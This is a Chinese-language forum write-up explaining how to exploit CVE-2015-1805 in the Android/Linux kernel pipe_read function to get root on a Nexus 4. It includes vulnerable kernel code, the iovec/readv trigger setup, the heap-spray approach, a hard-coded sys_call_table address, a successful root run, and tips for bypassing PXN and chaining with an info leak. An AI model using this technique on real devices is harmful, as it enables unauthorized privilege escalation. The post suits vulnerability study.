前言:
在网上找了一圈,虽然有CVE-2015-1805的相关资料,却没有发现完整的利用代码(找了一份POC,但是我自己测试没有使机器崩溃),所以。。。这个CVE虽然是2015年公布的,但是以为影响不大,很多分支都没有更新,导致了2016年2月份的代码都有漏洞
测试机器:nexus4 android版本:4.4 内核版本3.4.0
漏洞介绍:堆数组越界访问,导致任意地址可写任意值
漏洞利用:修改函数指针,进行提权操作
一:伪漏洞描述
为了方便理解,我简化了函数,伪代码如下
1.出错误函数是内核的pipe_read函数
struct iovec
{
void *iov_base;
int iov_len;
};
char g_from[0x3000] = {0};
pipe_read(...)
{
struct iovec * iov = malloc(0x200 * sizeof(struct iovec));
...
...
for (int i = 0 ; i < 0x200 ; i++)
{
//这个函数的作用是检查iov里面的base值,必须为有效的内存, 不区分用户内存或者内核内存
atomic = !iov_fault_in_pages_write(iov, chars);
if (atomic)
{
copy = min_t(unsigned long, len, iov[i]->iov_len);
memcpy(iov[i]->iov_base, from, copy);
}
}
}
2.
此函数的作用如下:
把缓冲区from的值,分别拷贝到数组iov[i]->iov_base里面
我们可以控制iov[i]->iov_base,iov[i]->iov_len的值 和 from里面的内容
3.
假设我们可以让i溢出,会产生数组访问越界,
memcpy(iov[0x200]->iov_base, from, copy);
memcpy(iov[0x201]->iov_base, from, copy);
...
如果我们又能控制
iov[0x200]->iov_base的值,那么我们就可以实现一个任意地址写任意值了。
4.
提权思路,当i溢出后,我们只要能控制iov[0x200]->iov_base的值就能达到任意地址写的目录。
而iov的分配是在内核堆(slab机制)里面,那我们可以利用sendmsg堆喷,来构造iov[0x200]->iov_base的值
图如下:
堆空间
|第1个页 |第2个页
--------------------sendmsg喷----
|iov[0x0] |iov[0x200] |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
|iov[0x1ff] | |
---------------------------------
备注:
有关堆喷和slab机制,可以查阅一下相关资料,这里就不在展开了。
啰嗦一句,在去年的cve-2015-3636(ping_unhash)和UAF类型的洞也用到这2个机制,个人感觉这个漏洞比ping_unhash要稍微复杂一些。。
二:漏洞描述
好了,看完上面的伪代码。知道此洞大概是个神马意思了,我们来看一下完整真实代码。
小弟才粗学浅,尽量把我知道的表达清楚,如果有错误和遗漏的地方,欢迎各位大牛指正,小弟在此谢过了!!!
1.比较关键的函数就2个
//真正的拷贝函数 相当于memcpy 不同的地方在于,根据atomic的值 会做一个内存是否为内核内存的检查
static int
pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len,
int atomic)
{
unsigned long copy;
while (len > 0) {
while (!iov->iov_len)
iov++;
copy = min_t(unsigned long, len, iov->iov_len);
if (atomic) {
//这个条件如果为真,直接拷贝 不会检查iov->iov_base的值是否为用户内存
if (__copy_to_user_inatomic(iov->iov_base, from, copy))
return -EFAULT;
} else {
//这里检查iov->iov_base内存,如果为内核内存就不拷贝,直接返回,所以我们不能走这个分支
if (copy_to_user(iov->iov_base, from, copy))
return -EFAULT;
}
from += copy;
len -= copy;
iov->iov_base += copy;
iov->iov_len -= copy;
}
return 0;
}
static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)
{
...+++++...
//这是一个关键值,就是因为这个值 在走goto redo分支时候没有更新,引发的问题
total_len = iov_length(iov, nr_segs);
...+++++...
for (;;) {
int bufs = pipe->nrbufs;
if (bufs) {
int curbuf = pipe->curbuf;
struct pipe_buffer *buf = pipe->bufs + curbuf;
const struct pipe_buf_operations *ops = buf->ops;
void *addr;
size_t chars = buf->len;
int error, atomic;
if (chars > total_len)
chars = total_len;
error = ops->confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}
//判断iov[i]->base是否为有效内存
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
//然而这句并没有什么卵用,忽略就好
addr = ops->map(pipe, buf, atomic);
//这里是最关键的一句了。。。各位爷看清楚 看仔细了。。。
//完成整个漏洞的利用,这函数一共要调用三次
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/
//这里也是比较关键的一句
if (atomic) {
atomic = 0;
goto redo;
}
...+++++...
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
...+++++...
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
}
if (bufs) /* More to do? */
continue;
...+++++...
return ret;
}
2.
首先来看看,函数为什么会逻辑错误
我们先构造一个iov[200] 的数组
struct iovec iov[0x200];
for (i = 0; i < 0x200; i++)
{
iov[i].iov_base = 0x4000000+i*i;
if (i == 0)
{
iov[i].iov_len = 0;
}
else if (i == 1)
{
iov[i].iov_len = 0x20;
}
else
{
iov[i].iov_len = 0x8;
}
}
构造好参数后,我们调用
readv(fd_pipe, iov, 0x200);
进入pipe_read函数
下面这行会调用三次,完成整个漏洞的触发
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
第一次循环调用时
...+++...
{
//检查base 是否有效 设置atomic为1
//所以第一次我们要把iov[i]->iov_base 的值全部设置为有效
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
...+++...
//当第一次时 atomic = 1 ; chars = 0x1000 ; total_len = 0x1010
//程序进入pipe_iov_copy_to_user函数拷贝时,我们让他拷贝失败
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
//返回错误 进入redo分支
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/
if (atomic) {
atomic = 0;
goto redo;
}
}
...+++...
===============================================================================================
准备调用 pipe_iov_copy_to_user 时,iov的值如下
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x20;
iov[2]->iov_base = 0x40002000;
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;
===============================================================================================
进入 pipe_iov_copy_to_user 函数,进行拷贝操作。
这个时候,,假如我们把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置成无效
那么__copy_to_user_inatomic 函数就会执行错误,直接错误返回
这时 iov的值如下
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0; ==================》这个值已经改变了
iov[2]->iov_base = 0x40002000;
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;
函数返回以后继续走 goto redo; 这个循环,进入第二次循环
第二次循环调用时
...+++...
{
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
...+++...
//当第二次时 atomic = 0 ; chars = 0x1000 ; total_len = 0x1010
//程序进入pipe_iov_copy_to_user函数
//这个时候 我们必须把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置有效
//让函数可以正确返回
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
/*
* Just retry with the slow path if we failed.
*/
if (atomic) {
atomic = 0;
goto redo;
}
...+++...
}
total_len -= chars;
...+++...
}
===============================================================================================
准备调用 pipe_iov_copy_to_user 时,iov的值如下
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
iov[1]->iov_base = 0x40001000;
iov[1]->iov_len = 0x0; ===========>这里的值0x20其实已经被消耗掉了。。但是total_len确没有减掉0x20。。导致了漏洞
iov[2]->iov_base = 0x40002000;
iov[2]->iov_len = 0x8;
iov[3]->iov_base = 0x40003000;
iov[3]->iov_len = 0x8;
iov[4]->iov_base = 0x40004000;
iov[5]->iov_len = 0x8;
===============================================================================================
这个时刻,我们必须又要把 iov[2]->iov_base = 0x40002000; 这个内存地址 属性设置成有效,让函数可以正常运行下去。
pipe_iov_copy_to_user函数执行完毕以后,iov的值如下
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
..+++...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
到这个时刻,系统分配的iov[0x200] 其实已经使用完毕,
但是因为第一次调用时故意引发的错误导致 total_len -= chars; 并没有更新,还会继续第三次循环
继续往下执行 total_len = 0x1010 chars = 0x1000
total_len -= chars;
total_len = 0x10
第三次循环调用
...+++...
{
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
...+++...
//当第三次时 atomic = 1 ; chars = 0x10; total_len = 0x10
//程序进入pipe_iov_copy_to_user函数
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
...+++...
}
iov[0]->iov_base = 0x40000000;
iov[0]->iov_len = 0x0;
..+++...
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
iov[0x200]->iov_base = ????????;
iov[0x200]->iov_len = ????????;
再次进入pipe_iov_copy_to_user
但是因为 0x1ff 项已经使用完了。。会继续累加
iov[0x1ff]->iov_base = 0x401ff000;
iov[0x1ff]->iov_len = 0x0;
就会开始往0x200项的iov_base写值了,这样就产生了一个 数组越界的漏洞
iov[0x200]->iov_base = ????????;
iov[0x200]->iov_len = ????????;
这样的话,我们只要控制 iov[0x200]->iov_base 和 iov[0x200]->iov_len 的内容,就达到了内核任意地址写任意值得目录
3.
利用sendmsg堆喷,如果iov[0x200]这个地址刚好落到我们堆喷的堆内存,那么相当于iov[0x200]->iov_base和iov[0x200]->iov_len
是我们可以控制的,源码里面解释的比较清楚,这里就不在描述了
三:编写攻击代码
1.附加提供了完整的代码下载链接
代码里面加入了大量的注释,方便大家阅读。
首先看看运行效果
///////////////////////////////////////////////
///////////////////////////////////////////////
shell@mako:/data/local/tmp $ ./exploit
./exploit
edit addr : c000df64
edit values : b6f2227c
-------------star---------------------
uid = 2000
gid = 2000
uid = 0
gid = 0
ROOT SUCCESS
///////////////////////////////////////////////
///////////////////////////////////////////////
这是我在nexus4机器上面通过的代码。。可以直接ROOT成功
下面是内核打印的信息
第二次循环进入
<4>[ 1626.645292] i_k :2 atomic:0 chars:fc0 total_len:1010 iov:ec9dc000
<4>[ 1626.645444] i_k 2 i_k i:0 iov_tmp->iov_base:40000000 iov_tmp->iov_len:0 chars:50
<4>[ 1626.645627] i_k i:1fa iov_tmp->iov_base:401fa000 iov_tmp->iov_len:8
<4>[ 1626.645749] i_k i:0 iov_tmp->iov_base:401fb000 iov_tmp->iov_len:8
<4>[ 1626.645810] i_k i:1 iov_tmp->iov_base:401fc000 iov_tmp->iov_len:8
<4>[ 1626.645932] i_k i:2 iov_tmp->iov_base:401fd000 iov_tmp->iov_len:8
<4>[ 1626.645994] i_k i:3 iov_tmp->iov_base:401fe000 iov_tmp->iov_len:8
<4>[ 1626.646116] i_k i:4 iov_tmp->iov_base:401ff000 iov_tmp->iov_len:8
<4>[ 1626.646177] i_k i:5 iov_tmp->iov_base:0 iov_tmp->iov_len:0
<4>[ 1626.646299] i_k i:6 iov_tmp->iov_base:c000df64 iov_tmp->iov_len:10 ====》这里访问已经越界了,开始往我们指定的内存写值了
<4>[ 1626.646360] i_k i:7 iov_tmp->iov_base:30000000 iov_tmp->iov_len:1000
<4>[ 1626.646482] i_k i:8 iov_tmp->iov_base:30000000 iov_tmp->iov_len:1000
第三次循环进入
<4>[ 1626.649107] i_k 3 atomic:1
<4>[ 1626.649168] i_k :3 atomic:1 chars:50 total_len:50 iov:ec9dc000
2.唯一的硬编码处,必须与机器匹配。当然也可以用其他方法配合,绕过硬编码
//nexus4 4.4
//c000db28 T sys_call_table
#define SYS_CALL_TABLE 0xc000db28
3.代码编译环境
编译环境:
win7 64位
android-ndk-r11c-windows-x86_64.zip
四:感谢
感谢一下以下写两篇文章的大牛,有机会的话希望跟大牛交流,求抱大腿 @__@
http://bobao.360.cn/learning/detail/2810.html
http://www.retme.net/index.php/2016/03/19/some-points-on-cve-2015-1805.html?utm_source=tuicool&utm_medium=referral
五:题外话
1.利用范围:这个漏洞的攻击面很广泛的,本人在安卓 4.3 到 6.0.1 的机型 都成功利用,而且成功率也非常不错,虽然有偶尔重启的情况,第一次调用基本成功(因为没有4.3以下的样机)
2.利用细节:在5.0以后的版本攻击细节有一些不一样,比如sys_call_table地址不可写(可以用虚函数指针绕过),然后PXN机制(可以用gadgets绕过)
3.漏洞配合:这个漏洞可以跟内核信息泄漏漏洞一起使用,达到很好的攻击效果。比如 qtaguid_ctrl_proc_read 这个函数可以泄漏sk指针的值,sk->sk_prot->close()
得到sk指针的值后,覆盖sk_prot的的值,然后让close()指向我们构造好的函数
4.其他:如果阅读代码发现有什么错误和遗漏的地方,希望大家指正。或者有不明白的地方可以QQ跟我交流..
QQ : 3455456608 一起交流学习~请大牛们收下我的膝盖。
如果有对安卓漏洞方面感兴趣的,可以联系我。。
帮朋友找2个小伙伴有编程和逆向基础即可。。。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!